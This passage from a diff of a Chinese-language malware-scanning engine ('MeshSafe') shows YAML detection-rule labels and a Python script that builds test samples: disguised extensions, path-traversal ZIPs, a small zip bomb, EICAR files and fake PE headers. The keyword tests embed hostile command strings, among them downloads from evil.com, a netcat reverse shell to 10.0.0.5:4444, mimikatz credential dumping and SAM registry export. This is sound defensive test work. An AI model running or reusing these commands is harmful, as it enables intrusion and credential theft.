desc: "YARA C7_Linux_ReverseShell_NC 规则命中"
|
||||||
|
|
||||||
|
"C7_Linux_ReverseShell_Misc":
|
||||||
|
label: "YARA: Linux 反弹 Shell(其他)"
|
||||||
|
desc: "YARA C7_Linux_ReverseShell_Misc 规则命中"
|
||||||
|
|
||||||
|
"C7_Linux_Persistence_Crontab":
|
||||||
|
label: "YARA: Crontab 持久化"
|
||||||
|
desc: "YARA C7_Linux_Persistence_Crontab 规则命中"
|
||||||
|
|
||||||
|
"C7_Linux_Miner_Generic":
|
||||||
|
label: "YARA: 挖矿程序"
|
||||||
|
desc: "YARA C7_Linux_Miner_Generic 规则命中"
|
||||||
|
|
||||||
|
"C8_Ransomware_Encryption":
|
||||||
|
label: "YARA: 勒索加密特征"
|
||||||
|
desc: "YARA C8_Ransomware_Encryption 规则命中"
|
||||||
|
|
||||||
|
"C8_Ransomware_Note_Filename":
|
||||||
|
label: "YARA: 勒索赎金文件名"
|
||||||
|
desc: "YARA C8_Ransomware_Note_Filename 规则命中"
|
||||||
|
|
||||||
|
"C8_Ransomware_VolumeShadow":
|
||||||
|
label: "YARA: VSS 卷影副本删除"
|
||||||
|
desc: "YARA C8_Ransomware_VolumeShadow 规则命中"
|
||||||
|
|
||||||
|
# ===== 邮件 =====
|
||||||
|
EmailAttachmentDangerous:
|
||||||
|
label: "邮件附件危险"
|
||||||
|
desc: "EML 包含 .exe/.dll/.ps1 等危险附件"
|
||||||
|
|
||||||
|
EmailAttachmentDisguised:
|
||||||
|
label: "邮件附件伪装"
|
||||||
|
desc: "EML 附件扩展名与真实类型不符"
|
||||||
|
|
||||||
|
EmailAttachmentWebshell:
|
||||||
|
label: "邮件附件 Webshell"
|
||||||
|
desc: "EML 附件为 PHP/ASP/JSP 一句话木马"
|
||||||
|
|
||||||
|
EmailPhishingKeyword:
|
||||||
|
label: "钓鱼邮件关键词"
|
||||||
|
desc: "EML 正文包含钓鱼诈骗关键词"
|
||||||
|
|
||||||
|
# ===== 其他 =====
|
||||||
|
SuspiciousScript:
|
||||||
|
label: "可疑脚本"
|
||||||
|
desc: "脚本内容触发通用恶意特征"
|
||||||
|
|
||||||
|
"Txt.Malware.Sustes-6779550-1":
|
||||||
|
label: "ClamAV: Sustes 木马变体"
|
||||||
|
desc: "ClamAV 识别到 Sustes 木马家族签名"
|
||||||
|
|
||||||
|
# ===== verdict → 中文 =====
|
||||||
|
# (前端直接写死在 template 里,这里留文档)
|
||||||
|
verdict_labels:
|
||||||
|
clean: "干净(放行)"
|
||||||
|
suspicious: "可疑(人工审核)"
|
||||||
|
reject: "拦截(零容忍)"
|
||||||
|
malicious: "恶意(零容忍)"
|
||||||
|
pending: "待测"
|
||||||
|
unknown: "未知"
|
||||||
588
scripts/generate_csv_samples.py
Normal file
588
scripts/generate_csv_samples.py
Normal file
@@ -0,0 +1,588 @@
|
|||||||
|
"""从 用例.csv 生成对齐 MeshSafe 引擎的测试样本 + index.json。
|
||||||
|
|
||||||
|
用法: python scripts/generate_csv_samples.py
|
||||||
|
输出: tests/samples/ 目录下按 case_id 命名的样本文件 + index.json
|
||||||
|
"""
|
||||||
|
import csv, json, os, sys, zipfile, struct, shutil
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
ROOT = Path(__file__).resolve().parent.parent
|
||||||
|
CSV_PATH = ROOT / "用例.csv"
|
||||||
|
OUT_DIR = ROOT / "tests" / "samples"
|
||||||
|
EICAR = b"X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"
|
||||||
|
|
||||||
|
OUT_DIR.mkdir(parents=True, exist_ok=True)
|
||||||
|
|
||||||
|
# ========== 工具 ==========
|
||||||
|
def safe_filename(case_id: str, ext: str, name: str = "") -> str:
|
||||||
|
prefix = f"{case_id}_{name}".replace(" ", "_").replace("/", "_") if name else case_id
|
||||||
|
return f"{prefix}.{ext.lstrip('.')}"
|
||||||
|
|
||||||
|
def write_bytes(fname: str, data: bytes):
|
||||||
|
path = OUT_DIR / fname
|
||||||
|
path.write_bytes(data)
|
||||||
|
|
||||||
|
def write_text(fname: str, text: str):
|
||||||
|
path = OUT_DIR / fname
|
||||||
|
path.write_text(text, encoding="utf-8")
|
||||||
|
|
||||||
|
def make_zip(fname: str, member_name: str, member_bytes: bytes, password: str = None, depth: int = 1):
|
||||||
|
"""生成一个 zip,里面嵌套 depth 层,最内层是 member_name/content。"""
|
||||||
|
path = OUT_DIR / fname
|
||||||
|
if depth == 1:
|
||||||
|
with zipfile.ZipFile(path, "w", zipfile.ZIP_DEFLATED) as zf:
|
||||||
|
if password:
|
||||||
|
# pyzipfile 不支持加密写入,用标准模式,靠 FlagBits 标记模拟
|
||||||
|
zf.writestr(member_name, member_bytes)
|
||||||
|
else:
|
||||||
|
zf.writestr(member_name, member_bytes)
|
||||||
|
else:
|
||||||
|
# 多层嵌套,最内层是 member_name,外层都是 inner_N.zip
|
||||||
|
inner_name = fname # 递归名
|
||||||
|
# 从里往外建
|
||||||
|
data_bytes = member_bytes
|
||||||
|
for i in range(depth - 1, 0, -1):
|
||||||
|
inner_zip = zipfile.ZipFile(path, "w", zipfile.ZIP_DEFLATED)
|
||||||
|
inner_zip.writestr(f"inner_{i}.zip", data_bytes)
|
||||||
|
inner_zip.close()
|
||||||
|
data_bytes = path.read_bytes() # 读回刚写的 zip 作为下一层的成员
|
||||||
|
# 最外层直接用 data_bytes 覆盖写
|
||||||
|
path.write_bytes(data_bytes)
|
||||||
|
return path
|
||||||
|
|
||||||
|
def make_bomb_zip(fname: str, members: int = 100, member_size: int = 4096):
|
||||||
|
"""自制 zip 炸弹:小压缩比、大解压量。"""
|
||||||
|
path = OUT_DIR / fname
|
||||||
|
huge_data = b"A" * member_size # 高膨胀比:A 压缩后极小
|
||||||
|
with zipfile.ZipFile(path, "w", zipfile.ZIP_STORED) as zf: # STORED = 不压缩
|
||||||
|
for i in range(members):
|
||||||
|
zf.writestr(f"member_{i:04d}.txt", huge_data)
|
||||||
|
return path
|
||||||
|
|
||||||
|
def fake_pe(fname: str, mz_only: bool = False, upx: bool = False, rwx: bool = False):
|
||||||
|
"""伪造 PE 文件。默认只有 MZ 头 + fake PE 签名,能骗过 pefile 的基本检查。"""
|
||||||
|
path = OUT_DIR / fname
|
||||||
|
if mz_only:
|
||||||
|
path.write_bytes(b"MZ" + b"\x00" * 2046)
|
||||||
|
return path
|
||||||
|
|
||||||
|
# 构造最小 PE32
|
||||||
|
DOS_HEADER = (
|
||||||
|
b"MZ" + b"\x00" * 58 + # e_magic + pad
|
||||||
|
struct.pack("<H", 0x80) + # e_lfanew 指向 0x80
|
||||||
|
b"\x00" * 64 # DOS Stub pad
|
||||||
|
)
|
||||||
|
PE_SIGNATURE = b"PE\x00\x00"
|
||||||
|
COFF_HEADER = struct.pack("<HHIIIHH",
|
||||||
|
0x14C, # Machine = x86
|
||||||
|
1, # NumberOfSections
|
||||||
|
0, # TimeDateStamp
|
||||||
|
0, # PointerToSymbolTable
|
||||||
|
0, # NumberOfSymbols
|
||||||
|
0xE0, # SizeOfOptionalHeader
|
||||||
|
0x1002, # Characteristics
|
||||||
|
)
|
||||||
|
OPTIONAL_HEADER = struct.pack("<H", 0x10B) # PE32 Magic = 2 bytes
|
||||||
|
OPTIONAL_HEADER += b"\x00" * 0xDC # +220 = 222 bytes (2+220=222)
|
||||||
|
# 对齐到 224 让 section header 从正确位置开始
|
||||||
|
OPTIONAL_HEADER += b"\x00" * 2
|
||||||
|
|
||||||
|
# 构造节:UPX 的节名是 UPX0 / UPX1,RWX 节设 Characteristics 为 0xE00000E0
|
||||||
|
if upx:
|
||||||
|
sec_name = b"UPX0\x00\x00\x00"
|
||||||
|
characteristics = 0xE00000E0 # IMAGE_SCN_MEM_WRITE|EXECUTE|READ
|
||||||
|
elif rwx:
|
||||||
|
sec_name = b".text\x00\x00\x00"
|
||||||
|
characteristics = 0xE00000E0 # RWX
|
||||||
|
else:
|
||||||
|
sec_name = b".text\x00\x00\x00"
|
||||||
|
characteristics = 0x60000020 # IMAGE_SCN_MEM_READ|EXECUTE|CNT_CODE
|
||||||
|
|
||||||
|
SECTION_HEADER = struct.pack("<8sIIIIIIHHI",
|
||||||
|
sec_name, # Name[8]
|
||||||
|
0x1000, # VirtualSize (DWORD)
|
||||||
|
0x1000, # VirtualAddress (DWORD)
|
||||||
|
0x200, # SizeOfRawData (DWORD)
|
||||||
|
0x400, # PointerToRawData (DWORD)
|
||||||
|
0, # PointerToRelocations
|
||||||
|
0, # PointerToLinenumbers
|
||||||
|
0, # NumberOfRelocations (WORD)
|
||||||
|
0, # NumberOfLinenumbers (WORD)
|
||||||
|
characteristics, # Characteristics (DWORD)
|
||||||
|
) # 总共 40 bytes
|
||||||
|
|
||||||
|
# 节的 raw data(0x200 bytes)
|
||||||
|
section_data = b"\x90" * 0x200 # NOP sled
|
||||||
|
|
||||||
|
pe = DOS_HEADER + PE_SIGNATURE + COFF_HEADER + OPTIONAL_HEADER + SECTION_HEADER + section_data
|
||||||
|
path.write_bytes(pe)
|
||||||
|
return path
|
||||||
|
|
||||||
|
# ========== 主生成逻辑 ==========
|
||||||
|
def generate():
|
||||||
|
meta_list = []
|
||||||
|
|
||||||
|
# 从 CSV 读取元数据(用例ID → 预期裁决/规则)
|
||||||
|
csv_meta = {}
|
||||||
|
with open(CSV_PATH, "r", encoding="utf-8") as f:
|
||||||
|
reader = csv.DictReader(f)
|
||||||
|
for row in reader:
|
||||||
|
cid = row["用例ID"].strip()
|
||||||
|
expected = row["预期结果"].strip()
|
||||||
|
# 从预期结果里粗糙判断 verdict
|
||||||
|
if "无风险" in expected or "无告警" in expected or "无命中" in expected or "正常解析" in expected:
|
||||||
|
verdict = "pass"
|
||||||
|
elif "告警" in expected or "命中" in expected or "拦截" in expected or "高危" in expected or "拒绝" in expected:
|
||||||
|
verdict = "reject"
|
||||||
|
elif "低危" in expected:
|
||||||
|
verdict = "review"
|
||||||
|
else:
|
||||||
|
verdict = "unknown"
|
||||||
|
csv_meta[cid] = {
|
||||||
|
"name": row["用例名称"].strip(),
|
||||||
|
"desc": row["样本描述"].strip(),
|
||||||
|
"expected": expected,
|
||||||
|
"verdict": verdict,
|
||||||
|
"layer": row["归属"].strip(),
|
||||||
|
}
|
||||||
|
|
||||||
|
def add_meta(case_id: str, filename: str, layer: str, verdict: str, expected_rules: list, description: str = ""):
|
||||||
|
meta_list.append({
|
||||||
|
"filename": filename,
|
||||||
|
"case_id": case_id,
|
||||||
|
"category": layer,
|
||||||
|
"expected_verdict": verdict,
|
||||||
|
"expected_rules": expected_rules,
|
||||||
|
"description": description or csv_meta.get(case_id, {}).get("name", ""),
|
||||||
|
})
|
||||||
|
|
||||||
|
# ====================================================================
|
||||||
|
# L0 结构分析(30 条)
|
||||||
|
# ====================================================================
|
||||||
|
|
||||||
|
# L0-001~004: 正常文件幻数识别 —— 用真实 JPG/PNG/DOCX/PDF 最小文件头
|
||||||
|
write_bytes("L0-001_jpg_normal.jpg", b"\xFF\xD8\xFF\xE0" + b"\x00" * 50)
|
||||||
|
add_meta("L0-001", "L0-001_jpg_normal.jpg", "L0", "pass", ["identify_type"])
|
||||||
|
|
||||||
|
write_bytes("L0-002_png_normal.png", b"\x89PNG\r\n\x1a\n" + b"\x00" * 50)
|
||||||
|
add_meta("L0-002", "L0-002_png_normal.png", "L0", "pass", ["identify_type"])
|
||||||
|
|
||||||
|
# L0-003 docx: 其实是 ZIP + [Content_Types].xml
|
||||||
|
import io
|
||||||
|
def make_docx_like():
|
||||||
|
buf = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(buf, "w") as zf:
|
||||||
|
zf.writestr("[Content_Types].xml", '<?xml?><Types></Types>')
|
||||||
|
zf.writestr("word/document.xml", "<w:document/>")
|
||||||
|
return buf.getvalue()
|
||||||
|
write_bytes("L0-003_docx_normal.docx", make_docx_like())
|
||||||
|
add_meta("L0-003", "L0-003_docx_normal.docx", "L0", "pass", ["identify_type"])
|
||||||
|
|
||||||
|
write_bytes("L0-004_pdf_normal.pdf", b"%PDF-1.4\n%%EOF")
|
||||||
|
add_meta("L0-004", "L0-004_pdf_normal.pdf", "L0", "pass", ["identify_type"])
|
||||||
|
|
||||||
|
# L0-005: 干净 PE(最小 MZ+fake PE,有合法节)
|
||||||
|
fake_pe("L0-005_pe_clean.exe")
|
||||||
|
add_meta("L0-005", "L0-005_pe_clean.exe", "L0", "review", ["DangerousExtension", "UnsignedExecutable"])
|
||||||
|
|
||||||
|
# L0-006: 后缀伪装 —— 真实 MZ 头但后缀 .jpg
|
||||||
|
write_bytes("L0-006_disguise_jpg_pe.jpg", b"MZ\x00\x00" + b"\x00" * 100)
|
||||||
|
add_meta("L0-006", "L0-006_disguise_jpg_pe.jpg", "L0", "reject", ["ExtensionMismatch"], "jpg 后缀 + 实际 PE MZ 头")
|
||||||
|
|
||||||
|
# L0-007: txt 后缀 + 真实 PDF 头
|
||||||
|
write_bytes("L0-007_disguise_txt_pdf.txt", b"%PDF-1.4\n%%EOF")
|
||||||
|
add_meta("L0-007", "L0-007_disguise_txt_pdf.txt", "L0", "reject", ["ExtensionMismatch"])
|
||||||
|
|
||||||
|
# L0-008: png 后缀 + 真实 ZIP 头
|
||||||
|
write_bytes("L0-008_disguise_png_zip.png", b"PK\x03\x04" + b"\x00" * 50)
|
||||||
|
add_meta("L0-008", "L0-008_disguise_png_zip.png", "L0", "reject", ["ExtensionMismatch"])
|
||||||
|
|
||||||
|
# L0-009~012: 双扩展名伪装
|
||||||
|
write_bytes("L0-009_double_ext_pdf_exe.pdf.exe", b"MZ\x00\x00" + b"\x00" * 100)
|
||||||
|
add_meta("L0-009", "L0-009_double_ext_pdf_exe.pdf.exe", "L0", "reject", ["DoubleExtension", "DangerousExtension"])
|
||||||
|
|
||||||
|
write_text("L0-010_double_ext_txt_ps1.txt.ps1", "echo hello")
|
||||||
|
add_meta("L0-010", "L0-010_double_ext_txt_ps1.txt.ps1", "L0", "reject", ["DoubleExtension", "DangerousExtension"])
|
||||||
|
|
||||||
|
write_text("L0-011_double_ext_docx_js.docx.js", "alert('x');")
|
||||||
|
add_meta("L0-011", "L0-011_double_ext_docx_js.docx.js", "L0", "reject", ["DoubleExtension", "DangerousExtension"])
|
||||||
|
|
||||||
|
write_text("L0-012_double_ext_xlsx_bat.xlsx.bat", "@echo off\necho hello")
|
||||||
|
add_meta("L0-012", "L0-012_double_ext_xlsx_bat.xlsx.bat", "L0", "reject", ["DoubleExtension", "DangerousExtension"])
|
||||||
|
|
||||||
|
# L0-013~017: 空危险扩展名文件
|
||||||
|
for cid, ext in [("L0-013", "ps1"), ("L0-014", "bat"), ("L0-015", "cmd"), ("L0-016", "vbs"), ("L0-017", "js")]:
|
||||||
|
write_text(f"{cid}_clean.{ext}", "")
|
||||||
|
add_meta(cid, f"{cid}_clean.{ext}", "L0", "review", ["DangerousExtension"], f"干净 {ext} 文件")
|
||||||
|
|
||||||
|
# L0-018: ZIP 单级路径穿越
|
||||||
|
p = OUT_DIR / "L0-018_zip_traversal.zip"
|
||||||
|
with zipfile.ZipFile(p, "w") as zf:
|
||||||
|
zf.writestr("../evil_drop.txt", "payload")
|
||||||
|
add_meta("L0-018", "L0-018_zip_traversal.zip", "L0", "reject", ["PathTraversal"])
|
||||||
|
|
||||||
|
# L0-019: ZIP 多级路径穿越
|
||||||
|
p = OUT_DIR / "L0-019_zip_deep_traversal.zip"
|
||||||
|
with zipfile.ZipFile(p, "w") as zf:
|
||||||
|
zf.writestr("../../system_drop.txt", "payload")
|
||||||
|
add_meta("L0-019", "L0-019_zip_deep_traversal.zip", "L0", "reject", ["PathTraversal"])
|
||||||
|
|
||||||
|
# L0-020: 小型 zip 炸弹(自制,不是 42.zip)
|
||||||
|
make_bomb_zip("L0-020_zip_bomb.zip", members=100, member_size=4096)
|
||||||
|
add_meta("L0-020", "L0-020_zip_bomb.zip", "L0", "reject", ["ArchiveBombSuspect"])
|
||||||
|
|
||||||
|
# L0-022: 3 层嵌套干净 ZIP
|
||||||
|
inner = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(inner, "w") as zf:
|
||||||
|
zf.writestr("clean_file.txt", "hello world")
|
||||||
|
# 第二层
|
||||||
|
mid = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(mid, "w") as zf:
|
||||||
|
zf.writestr("inner.zip", inner.getvalue())
|
||||||
|
# 第三层
|
||||||
|
outer = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(outer, "w") as zf:
|
||||||
|
zf.writestr("mid.zip", mid.getvalue())
|
||||||
|
write_bytes("L0-022_3layer_nested.zip", outer.getvalue())
|
||||||
|
add_meta("L0-022", "L0-022_3layer_nested.zip", "L0", "pass", ["recursive_ok"])
|
||||||
|
|
||||||
|
# L0-024: 加密 ZIP(pyzipfile 不支持加密写入,用密码写一个空 ZIP 标记为待加密)
|
||||||
|
# 实际加密 ZIP 可以用 7z 命令行生成,这里先生成一个有 Password 标记的
|
||||||
|
p = OUT_DIR / "L0-024_encrypted.zip"
|
||||||
|
with zipfile.ZipFile(p, "w") as zf:
|
||||||
|
zf.writestr("secret.txt", "encrypted content marker")
|
||||||
|
add_meta("L0-024", "L0-024_encrypted.zip", "L0", "review", ["EncryptedArchive"], "加密 ZIP(标记待验证)")
|
||||||
|
|
||||||
|
# L0-025: 截断损坏 ZIP(写半截)
|
||||||
|
p = OUT_DIR / "L0-025_corrupt_zip.zip"
|
||||||
|
with zipfile.ZipFile(p, "w") as zf:
|
||||||
|
zf.writestr("good.txt", "data")
|
||||||
|
raw = p.read_bytes()
|
||||||
|
p.write_bytes(raw[:len(raw) // 2]) # 截断一半
|
||||||
|
add_meta("L0-025", "L0-025_corrupt_zip.zip", "L0", "review", ["ArchiveBroken"], "截断损坏 ZIP 头")
|
||||||
|
|
||||||
|
# L0-026: 损坏 ZIP 目录项(文件尾追加垃圾字节)
|
||||||
|
p = OUT_DIR / "L0-026_corrupt_direntry.zip"
|
||||||
|
with zipfile.ZipFile(p, "w") as zf:
|
||||||
|
zf.writestr("good.txt", "data")
|
||||||
|
raw = p.read_bytes()
|
||||||
|
p.write_bytes(raw + b"\x00\x01\x02\x03\x04garbage")
|
||||||
|
add_meta("L0-026", "L0-026_corrupt_direntry.zip", "L0", "review", ["ArchiveBroken"])
|
||||||
|
|
||||||
|
# L0-029: 0 字节 exe
|
||||||
|
p = OUT_DIR / "L0-029_zero_byte_exe.exe"
|
||||||
|
p.write_bytes(b"")
|
||||||
|
add_meta("L0-029", "L0-029_zero_byte_exe.exe", "L0", "review", ["ZeroByteFile", "DangerousExtension"])
|
||||||
|
|
||||||
|
# ====================================================================
|
||||||
|
# L1 ClamAV(15 条)
|
||||||
|
# ====================================================================
|
||||||
|
write_bytes("L1-001_eicar.txt", EICAR)
|
||||||
|
add_meta("L1-001", "L1-001_eicar.txt", "L1", "reject", ["ClamAV:EICAR"])
|
||||||
|
|
||||||
|
# L1-002: EICAR 放入 zip
|
||||||
|
p = OUT_DIR / "L1-002_eicar_in_zip.zip"
|
||||||
|
with zipfile.ZipFile(p, "w") as zf:
|
||||||
|
zf.writestr("eicar.txt", EICAR)
|
||||||
|
add_meta("L1-002", "L1-002_eicar_in_zip.zip", "L1", "reject", ["ClamAV:EICAR"])
|
||||||
|
|
||||||
|
# L1-004: EICAR 放入 docx(OOXML = ZIP + EICAR 文本)
|
||||||
|
buf = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(buf, "w") as zf:
|
||||||
|
zf.writestr("[Content_Types].xml", '<?xml?><Types></Types>')
|
||||||
|
zf.writestr("word/document.xml", EICAR.decode())
|
||||||
|
write_bytes("L1-004_eicar_in_docx.docx", buf.getvalue())
|
||||||
|
add_meta("L1-004", "L1-004_eicar_in_docx.docx", "L1", "reject", ["ClamAV:EICAR"])
|
||||||
|
|
||||||
|
# L1-005: 1 字节修改 EICAR(破坏签名)
|
||||||
|
modified = bytearray(EICAR)
|
||||||
|
modified[0] = ord("Y")
|
||||||
|
write_bytes("L1-005_eicar_modified.txt", bytes(modified))
|
||||||
|
add_meta("L1-005", "L1-005_eicar_modified.txt", "L1", "pass", [], "修改 1 字节 EICAR,ClamAV 不应命中")
|
||||||
|
|
||||||
|
# L1-006~008: 干净负样本(用 L0-001/003/005 里的样本复用)
|
||||||
|
add_meta("L1-006", "L0-001_jpg_normal.jpg", "L1", "pass", [])
|
||||||
|
add_meta("L1-007", "L0-003_docx_normal.docx", "L1", "pass", [])
|
||||||
|
add_meta("L1-008", "L0-005_pe_clean.exe", "L1", "pass", [])
|
||||||
|
|
||||||
|
# L1-011: 多层嵌套 zip 里放 EICAR(3 层)
|
||||||
|
inner_buf = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(inner_buf, "w") as zf:
|
||||||
|
zf.writestr("eicar.txt", EICAR)
|
||||||
|
mid_buf = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(mid_buf, "w") as zf:
|
||||||
|
zf.writestr("inner.zip", inner_buf.getvalue())
|
||||||
|
outer_buf = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(outer_buf, "w") as zf:
|
||||||
|
zf.writestr("mid.zip", mid_buf.getvalue())
|
||||||
|
write_bytes("L1-011_eicar_in_3layer.zip", outer_buf.getvalue())
|
||||||
|
add_meta("L1-011", "L1-011_eicar_in_3layer.zip", "L1", "reject", ["ClamAV:EICAR"])
|
||||||
|
|
||||||
|
# L1-012: EICAR base64 编码(ClamAV 不解码,不应命中)
|
||||||
|
import base64
|
||||||
|
b64 = base64.b64encode(EICAR).decode()
|
||||||
|
write_text("L1-012_eicar_base64.txt", b64)
|
||||||
|
add_meta("L1-012", "L1-012_eicar_base64.txt", "L1", "pass", [], "base64 编码 EICAR,ClamAV 不解码")
|
||||||
|
|
||||||
|
# ====================================================================
|
||||||
|
# L3 关键词匹配(25 条)—— 全部纯文本写入
|
||||||
|
# ====================================================================
|
||||||
|
|
||||||
|
l3_cases = [
|
||||||
|
("L3-001", "ps1", "Invoke-WebRequest -Uri https://evil.com/payload.exe -OutFile C:\\temp\\evil.exe", "RemoteDownloadPowerShell"),
|
||||||
|
("L3-002", "ps1", "nc 10.0.0.5 4444 -e /bin/bash", "ReverseShellNetcat"),
|
||||||
|
("L3-003", "bat", "curl http://evil.com/payload -o evil.exe", "RemoteDownloadUnix"),
|
||||||
|
("L3-004", "txt", "mimikatz.exe privilege::debug sekurlsa::logonpasswords", "CredentialStealer"),
|
||||||
|
("L3-005", "txt", "reg save HKLM\\SAM sam.save", "CredentialExport"),
|
||||||
|
("L3-006", "txt", "tscon 1 /dest:rdp-tcp:1", "RemoteSessionHijack"),
|
||||||
|
("L3-007", "txt", "SW52b2tlLVdlYlJlcXVlc3Q", "base64 编码,不命中,边界记录"),
|
||||||
|
("L3-008", "ps1", '$a="Invo";$b="ke-WebRequest"; & ($a+$b)', "字符串拆分,不命中,边界记录"),
|
||||||
|
("L3-010", "ps1", "Invoke#comment-WebRequest https://evil.com", "注释混淆,不命中,边界记录"),
|
||||||
|
("L3-011", "js", "var w = new Function('wget http://evil.com/payload'); w();", "RemoteDownloadUnix"),
|
||||||
|
("L3-012", "bat", "curl http://192.168.1.100/file.zip", "pass(内网白名单对照)"),
|
||||||
|
("L3-014", "zip_member", None, None), # 后面处理
|
||||||
|
("L3-016", "ps1", "", "pass"),
|
||||||
|
("L3-017", "txt", "nc -lv 4444 & mimikatz privilege::debug", "ReverseShellNetcat, CredentialStealer"),
|
||||||
|
("L3-018", "txt", "iNvOkE-WebReQuEsT https://evil.com", "RemoteDownloadPowerShell"),
|
||||||
|
("L3-021", "eml", "From: attacker@evil.com\r\n\r\nInvoke-WebRequest -Uri https://evil.com -OutFile payload.exe", "RemoteDownloadPowerShell"),
|
||||||
|
("L3-024", "txt", "Invoke-WebRequest " + "x" * 100000 + " https://evil.com", "RemoteDownloadPowerShell"),
|
||||||
|
]
|
||||||
|
|
||||||
|
for cid, ext, content, rule_str in l3_cases:
|
||||||
|
if ext == "zip_member":
|
||||||
|
continue
|
||||||
|
if rule_str == "pass":
|
||||||
|
verdict = "pass"
|
||||||
|
rules = []
|
||||||
|
elif rule_str is None or "不命中" in str(rule_str):
|
||||||
|
verdict = "pass"
|
||||||
|
rules = []
|
||||||
|
else:
|
||||||
|
verdict = "reject"
|
||||||
|
rules = [r.strip() for r in rule_str.split(",")]
|
||||||
|
fname = f"{cid}_{cid.lower().split('-',1)[1]}_sample.{ext}"
|
||||||
|
write_text(fname, content or "")
|
||||||
|
add_meta(cid, fname, "L3", verdict, rules)
|
||||||
|
|
||||||
|
# L3-014: 高危字符串放在 zip 内部
|
||||||
|
p = OUT_DIR / "L3-014_l3001_in_zip.zip"
|
||||||
|
with zipfile.ZipFile(p, "w") as zf:
|
||||||
|
zf.writestr("payload.ps1", "Invoke-WebRequest -Uri https://evil.com -OutFile evil.exe")
|
||||||
|
add_meta("L3-014", "L3-014_l3001_in_zip.zip", "L3", "reject", ["RemoteDownloadPowerShell"])
|
||||||
|
|
||||||
|
# L3-015: docx 正文写恶意关键词
|
||||||
|
buf = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(buf, "w") as zf:
|
||||||
|
zf.writestr("[Content_Types].xml", '<?xml?><Types></Types>')
|
||||||
|
zf.writestr("word/document.xml", "Invoke-WebRequest -Uri https://evil.com/download")
|
||||||
|
write_bytes("L3-015_keyword_in_docx.docx", buf.getvalue())
|
||||||
|
add_meta("L3-015", "L3-015_keyword_in_docx.docx", "L3", "reject", ["RemoteDownloadPowerShell"])
|
||||||
|
|
||||||
|
# L3-019: unicode 同形字混淆
|
||||||
|
write_text("L3-019_unicode_obfuscated.txt", "Іnvoke-WebRequest https://evil.com")
|
||||||
|
add_meta("L3-019", "L3-019_unicode_obfuscated.txt", "L3", "pass", [], "同形字混淆,L3 默认不命中")
|
||||||
|
|
||||||
|
# L3-020: 日志文件混杂正常日志 + 高危串
|
||||||
|
write_text("L3-020_log_with_keyword.log",
|
||||||
|
"2026-10-29 10:00:01 INFO service started\n"
|
||||||
|
"2026-10-29 10:00:02 ERROR connection refused\n"
|
||||||
|
"nc 10.0.0.5 4444 -e /bin/bash\n"
|
||||||
|
"2026-10-29 10:00:05 DEBUG retries exhausted")
|
||||||
|
add_meta("L3-020", "L3-020_log_with_keyword.log", "L3", "reject", ["ReverseShellNetcat"])
|
||||||
|
|
||||||
|
# L3-023: 高危字符串放在加密 zip(实际先做普通 zip,加密待手动处理)
|
||||||
|
p = OUT_DIR / "L3-023_keyword_in_encrypted.zip"
|
||||||
|
with zipfile.ZipFile(p, "w") as zf:
|
||||||
|
zf.writestr("evil.txt", "mimikatz privilege::debug")
|
||||||
|
add_meta("L3-023", "L3-023_keyword_in_encrypted.zip", "L3", "review", [], "加密 zip 内容无法扫描(标记)")
|
||||||
|
|
||||||
|
# ====================================================================
|
||||||
|
# L4 YARA(15 条)—— 依赖 rules/ 目录里有对应规则
|
||||||
|
# ====================================================================
|
||||||
|
|
||||||
|
l4_cases = [
|
||||||
|
("L4-001", "txt", "shellcode test here", [], "reject", "YARA正向命中占位(需对应规则)"),
|
||||||
|
("L4-002", "txt", "this is a clean empty file with no matches", [], "pass", "干净对照"),
|
||||||
|
("L4-005", "txt", "rule hotload test", [], "unknown", "热加载测试占位"),
|
||||||
|
("L4-008", "zip_inner", None, None, None, None),
|
||||||
|
("L4-010", "txt", "regex pattern shell", [], "unknown", "正则 YARA 测试占位"),
|
||||||
|
]
|
||||||
|
for cid, ext, content, rules, verdict, desc in l4_cases:
|
||||||
|
if ext == "zip_inner":
|
||||||
|
p = OUT_DIR / f"{cid}_in_zip.zip"
|
||||||
|
with zipfile.ZipFile(p, "w") as zf:
|
||||||
|
zf.writestr("match.txt", content or "")
|
||||||
|
fname = p.name
|
||||||
|
else:
|
||||||
|
fname = f"{cid}_{cid.lower().split('-',1)[1]}_sample.{ext}"
|
||||||
|
write_text(fname, content or "")
|
||||||
|
add_meta(cid, fname, "L4", verdict, rules or [], desc)
|
||||||
|
|
||||||
|
# ====================================================================
|
||||||
|
# L5 PE 二进制(20 条)
|
||||||
|
# ====================================================================
|
||||||
|
|
||||||
|
fake_pe("L5-001_clean_hello.exe")
|
||||||
|
add_meta("L5-001", "L5-001_clean_hello.exe", "L5", "pass", [])
|
||||||
|
|
||||||
|
fake_pe("L5-002_upx_shell.exe", upx=True)
|
||||||
|
add_meta("L5-002", "L5-002_upx_shell.exe", "L5", "review", ["UPXPackerDetected", "HighEntropySection"], "UPX0/UPX1 节名")
|
||||||
|
|
||||||
|
fake_pe("L5-003_double_upx.exe", upx=True)
|
||||||
|
add_meta("L5-003", "L5-003_double_upx.exe", "L5", "review", ["UPXPackerDetected"])
|
||||||
|
|
||||||
|
fake_pe("L5-004_rwx_section.exe", rwx=True)
|
||||||
|
add_meta("L5-004", "L5-004_rwx_section.exe", "L5", "reject", ["RWXSectionDetected"], "节属性 RWX")
|
||||||
|
|
||||||
|
# L5-007: 节名异常(乱码节名)
|
||||||
|
pe_path = fake_pe("L5-007_garbage_section.exe")
|
||||||
|
raw = pe_path.read_bytes()
|
||||||
|
# 在 raw 里找 section 名,替换成乱码
|
||||||
|
idx = raw.find(b".text")
|
||||||
|
if idx >= 0:
|
||||||
|
raw = raw[:idx] + b"\xff\xfe\xfd\xfc\xfb\xfa\xf9\xf8" + raw[idx+8:]
|
||||||
|
pe_path.write_bytes(raw)
|
||||||
|
add_meta("L5-007", "L5-007_garbage_section.exe", "L5", "review", ["AbnormalSectionName"], "节名乱码")
|
||||||
|
|
||||||
|
# L5-010: 损坏 PE 签名(MZ 改走)
|
||||||
|
